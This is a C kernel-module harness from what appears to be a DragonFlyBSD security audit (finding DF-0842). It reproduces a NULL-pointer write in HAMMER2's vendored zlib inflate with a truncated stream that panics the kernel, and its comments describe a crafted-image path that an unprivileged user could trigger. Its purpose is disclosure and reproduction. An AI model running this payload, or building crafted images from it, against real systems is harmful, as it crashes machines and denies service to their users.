DragonFlyBSD Kernel Audit
DF-0842 / df0842_harness.c
← back to finding ↓ download raw
/*
 * DF-0842 harness -- deterministic reproduction of the missing sliding-window
 * allocation in HAMMER2's vendored zlib inflate (hammer2_zlib_inflate.c
 * updatewindow(), lines 373-392).
 *
 * The in-kernel inflate never kmalloc()s state->window.  When inflate() is fed
 * a zlib stream that produces SOME output but runs out of input mid-decode
 * (mode stays < CHECK), the inf_leave guard at line 1018-1019 calls
 * updatewindow(), which zmemcpy()s through state->window == NULL -> write to
 * virtual address 0 -> fatal page-fault panic.
 *
 * This harness drives the REAL in-kernel z_inflate* symbols (the exact
 * functions invoked by hammer2_strategy.c:257 hammer2_decompress_ZLIB_callback
 * on a ZLIB-compressed HAMMER2 data block), using a truncated but valid zlib
 * stream that decodes ~1.8KB of output before the input runs out.  This is the
 * same primitive a crafted HAMMER2 image would reach when an unprivileged
 * user reads a file backed by a malformed ZLIB-compressed block.
 *
 * Build:  see build.sh   (kernel module, built in-guest against /usr/src/sys)
 * Run:    see run.sh     (kldload -> panic captured in serial boot.log)
 *
 * NOTE: this is a DoS / NULL-deref characterization harness.  It is loaded by
 * root to exercise the in-kernel code path deterministically; the live
 * unprivileged trigger is read() of a malformed ZLIB HAMMER2 block (root fs is
 * HAMMER2, the callback ships in GENERIC).
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>

/* ---- z_stream, matching sys/vfs/hammer2/zlib/hammer2_zlib.h exactly ---- */
typedef unsigned char  Bytef;
typedef unsigned int   uInt;
typedef unsigned long  uLong;
struct internal_state;
typedef struct z_stream_s {
    Bytef  *next_in;		/* z_const is empty in the kernel build */
    uInt    avail_in;
    uLong   total_in;
    Bytef  *next_out;
    uInt    avail_out;
    uLong   total_out;
    const char *msg;		/* z_const char * */
    struct internal_state *state;
    int     data_type;
    uLong   adler;
    uLong   reserved;
} z_stream;
typedef z_stream *z_streamp;

#define ZLIB_VERSION "1.2.8"
#define Z_FINISH     4
#define Z_OK         0
#define Z_STREAM_END 1
#define Z_NULL       0

/* Real in-kernel symbols (renamed inflate -> z_inflate via zconf.h macros). */
extern int z_inflateInit_(z_streamp strm, const char *version, int stream_size);
extern int z_inflate(z_streamp strm, int flush);
extern int z_inflateEnd(z_streamp strm);

#define OUTSZ 8192

/*
 * Truncated zlib stream: first 20 bytes of zlib.compress(b'A'*4096 +
 * b'B'*4096, 9).  Valid zlib header (78 da = CMF/FLG, CM=8 CINFO=7 windowBits
 * 15, FCHECK ok, no dict).  Decodes ~1.8KB of output ('A' bytes) then the
 * input is exhausted mid-block, so inflate() exits via inf_leave with
 * state->mode still < CHECK and out != avail_out.
 */
static const unsigned char trunc_stream[] = {
    120, 218, 237, 193,   1,   9,   0,   0,
      0,   2, 160, 109, 245, 127,  84,  63,
     66,  77,   0,   0
};

static void
df0842_run(void)
{
    z_stream s;
    unsigned char *outbuf;
    int ret;

    outbuf = kmalloc(OUTSZ, M_TEMP, M_WAITOK | M_ZERO);

    kprintf("DF-0842: harness start -- about to call z_inflateInit_ "
            "(state->window will be NULL, wsize=0)\n");
    bzero(&s, sizeof(s));
    s.next_in   = __DECONST(unsigned char *, trunc_stream);
    s.avail_in  = sizeof(trunc_stream);
    s.next_out  = outbuf;
    s.avail_out = OUTSZ;

    ret = z_inflateInit_(&s, ZLIB_VERSION, (int)sizeof(z_stream));
    kprintf("DF-0842: inflateInit_ ret=%d (expect 0=Z_OK); now calling "
            "z_inflate(Z_FINISH) on a %zu-byte truncated stream\n",
            ret, sizeof(trunc_stream));
    if (ret != Z_OK) {
        kprintf("DF-0842: inflateInit_ failed, aborting harness\n");
        kfree(outbuf, M_TEMP);
        return;
    }

    /*
     * This call produces output, runs out of input mid-decode, falls through
     * to inf_leave, and calls updatewindow() -- which zmemcpy()s through
     * state->window == NULL.  Expect: fatal trap / page fault, fault VA=0x0.
     */
    ret = z_inflate(&s, Z_FINISH);
    /* If we reach here, the bug did NOT fire (e.g. already-fixed kernel). */
    kprintf("DF-0842: z_inflate returned %d (NO PANIC -- window was allocated; "
            "bug is absent/fixed). avail_out=%u total_out=%lu\n",
            ret, s.avail_out, (unsigned long)s.total_out);
    z_inflateEnd(&s);
    kfree(outbuf, M_TEMP);
}

static int
df0842_modevent(module_t mod __unused, int type, void *data __unused)
{
    switch (type) {
    case MOD_LOAD:
        df0842_run();
        return 0;
    case MOD_UNLOAD:
        return 0;
    default:
        return 0;
    }
}

static moduledata_t df0842_mod = {
    "df0842_harness",
    df0842_modevent,
    NULL
};
DECLARE_MODULE(df0842_harness, df0842_mod, SI_SUB_EXEC, SI_ORDER_ANY);
MODULE_VERSION(df0842_harness, 1);